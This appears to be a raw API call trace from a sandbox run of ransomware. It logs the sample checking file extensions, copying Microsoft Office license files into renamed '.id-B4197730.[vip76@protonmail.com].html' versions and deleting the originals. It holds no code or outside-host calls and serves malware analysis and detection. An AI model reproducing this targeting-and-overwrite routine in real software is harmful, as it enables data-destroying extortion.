	[0194.633] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.633] lstrlenW (lpString=".pdf") returned 4
	[0194.633] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString=".xls") returned 4
	[0194.633] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString=".xlsx") returned 5
	[0194.633] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.633] lstrlenW (lpString=".ppt") returned 4
	[0194.633] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.633] lstrlenW (lpString=".zip") returned 4
	[0194.633] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString=".rar") returned 4
	[0194.633] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString=".bz2") returned 4
	[0194.633] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString=".7z") returned 3
	[0194.633] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.633] lstrlenW (lpString=".dbf") returned 4
	[0194.633] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.633] lstrlenW (lpString=".1cd") returned 4
	[0194.634] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.634] lstrlenW (lpString=".jpg") returned 4
	[0194.634] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.634] lstrlenW (lpString=".doc") returned 4
	[0194.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString=".docx") returned 5
	[0194.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.634] lstrlenW (lpString=".pdf") returned 4
	[0194.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString=".xls") returned 4
	[0194.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString=".xlsx") returned 5
	[0194.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.634] lstrlenW (lpString=".ppt") returned 4
	[0194.634] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.634] lstrlenW (lpString=".zip") returned 4
	[0194.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString=".rar") returned 4
	[0194.634] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.634] lstrlenW (lpString=".bz2") returned 4
	[0194.635] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.635] lstrlenW (lpString=".7z") returned 3
	[0194.635] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.635] lstrlenW (lpString=".dbf") returned 4
	[0194.635] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.635] lstrlenW (lpString=".1cd") returned 4
	[0194.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.635] lstrlenW (lpString=".jpg") returned 4
	[0194.635] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.786] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.786] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34
	[0194.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.787] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=22094) returned 1
	[0194.787] CloseHandle (hObject=0x5dc) returned 1
	[0194.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220
	[0194.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.788] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.788] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0194.789] GetLastError () returned 0x0
	[0194.789] ReadFile (in: hFile=0x5dc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x564e, lpOverlapped=0x0) returned 1
	[0194.796] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5650, lpOverlapped=0x0) returned 1
	[0194.797] ReadFile (in: hFile=0x5dc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.797] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x118, lpOverlapped=0x0) returned 1
	[0194.797] SetEndOfFile (hFile=0x4ac) returned 1
	[0194.798] CloseHandle (hObject=0x4ac) returned 1
	[0194.798] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.798] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.804] CloseHandle (hObject=0x5dc) returned 1
	[0194.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1
	[0194.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.967] lstrlenW (lpString=".doc") returned 4
	[0194.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.967] lstrlenW (lpString=".docx") returned 5
	[0194.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.967] lstrlenW (lpString=".pdf") returned 4
	[0194.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.967] lstrlenW (lpString=".xls") returned 4
	[0194.967] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.967] lstrlenW (lpString=".xlsx") returned 5
	[0194.967] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.967] lstrlenW (lpString=".ppt") returned 4
	[0194.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.968] lstrlenW (lpString=".zip") returned 4
	[0194.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString=".rar") returned 4
	[0194.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString=".bz2") returned 4
	[0194.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString=".7z") returned 3
	[0194.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.968] lstrlenW (lpString=".dbf") returned 4
	[0194.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.968] lstrlenW (lpString=".1cd") returned 4
	[0194.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.968] lstrlenW (lpString=".jpg") returned 4
	[0194.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.968] lstrlenW (lpString=".doc") returned 4
	[0194.968] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString=".docx") returned 5
	[0194.968] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.968] lstrlenW (lpString=".pdf") returned 4
	[0194.968] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString=".xls") returned 4
	[0194.968] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.968] lstrlenW (lpString=".xlsx") returned 5
	[0194.969] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.969] lstrlenW (lpString=".ppt") returned 4
	[0194.969] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.969] lstrlenW (lpString=".zip") returned 4
	[0194.969] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.969] lstrlenW (lpString=".rar") returned 4
	[0194.969] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.969] lstrlenW (lpString=".bz2") returned 4
	[0194.969] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.969] lstrlenW (lpString=".7z") returned 3
	[0194.969] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.969] lstrlenW (lpString=".dbf") returned 4
	[0194.969] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.969] lstrlenW (lpString=".1cd") returned 4
	[0194.969] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0194.969] lstrlenW (lpString=".jpg") returned 4
	[0194.969] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.969] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.969] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32
	[0194.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0195.184] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=22092) returned 1
	[0195.184] CloseHandle (hObject=0x590) returned 1
	[0195.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220
	[0195.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.611] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.618] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0195.620] GetLastError () returned 0x0
	[0195.620] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x564c, lpOverlapped=0x0) returned 1
	[0195.623] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5650, lpOverlapped=0x0) returned 1
	[0195.625] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.625] WriteFile (in: hFile=0x5e8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0195.625] SetEndOfFile (hFile=0x5e8) returned 1
	[0195.625] CloseHandle (hObject=0x5e8) returned 1
	[0195.625] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.626] SetEndOfFile (hFile=0x5e0) returned 1
	[0195.913] CloseHandle (hObject=0x5e0) returned 1
	[0195.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1
	[0195.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.916] lstrlenW (lpString=".doc") returned 4
	[0195.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.916] lstrlenW (lpString=".docx") returned 5
	[0195.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.917] lstrlenW (lpString=".pdf") returned 4
	[0195.917] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString=".xls") returned 4
	[0195.917] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString=".xlsx") returned 5
	[0195.917] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.917] lstrlenW (lpString=".ppt") returned 4
	[0195.917] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.917] lstrlenW (lpString=".zip") returned 4
	[0195.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString=".rar") returned 4
	[0195.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString=".bz2") returned 4
	[0195.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString=".7z") returned 3
	[0195.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.917] lstrlenW (lpString=".dbf") returned 4
	[0195.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.917] lstrlenW (lpString=".1cd") returned 4
	[0195.917] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.917] lstrlenW (lpString=".jpg") returned 4
	[0195.917] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.917] lstrlenW (lpString=".doc") returned 4
	[0195.917] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.917] lstrlenW (lpString=".docx") returned 5
	[0195.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.918] lstrlenW (lpString=".pdf") returned 4
	[0195.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString=".xls") returned 4
	[0195.918] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString=".xlsx") returned 5
	[0195.918] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.918] lstrlenW (lpString=".ppt") returned 4
	[0195.918] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.918] lstrlenW (lpString=".zip") returned 4
	[0195.918] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString=".rar") returned 4
	[0195.918] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString=".bz2") returned 4
	[0195.918] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString=".7z") returned 3
	[0195.918] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.918] lstrlenW (lpString=".dbf") returned 4
	[0195.918] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.918] lstrlenW (lpString=".1cd") returned 4
	[0195.918] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0195.918] lstrlenW (lpString=".jpg") returned 4
	[0195.918] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.918] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.919] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30
	[0195.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.919] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=22214) returned 1
	[0195.920] CloseHandle (hObject=0x5e0) returned 1
	[0195.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220
	[0195.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.920] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.920] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0195.921] GetLastError () returned 0x0
	[0195.921] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x56c6, lpOverlapped=0x0) returned 1
	[0195.924] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0195.925] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
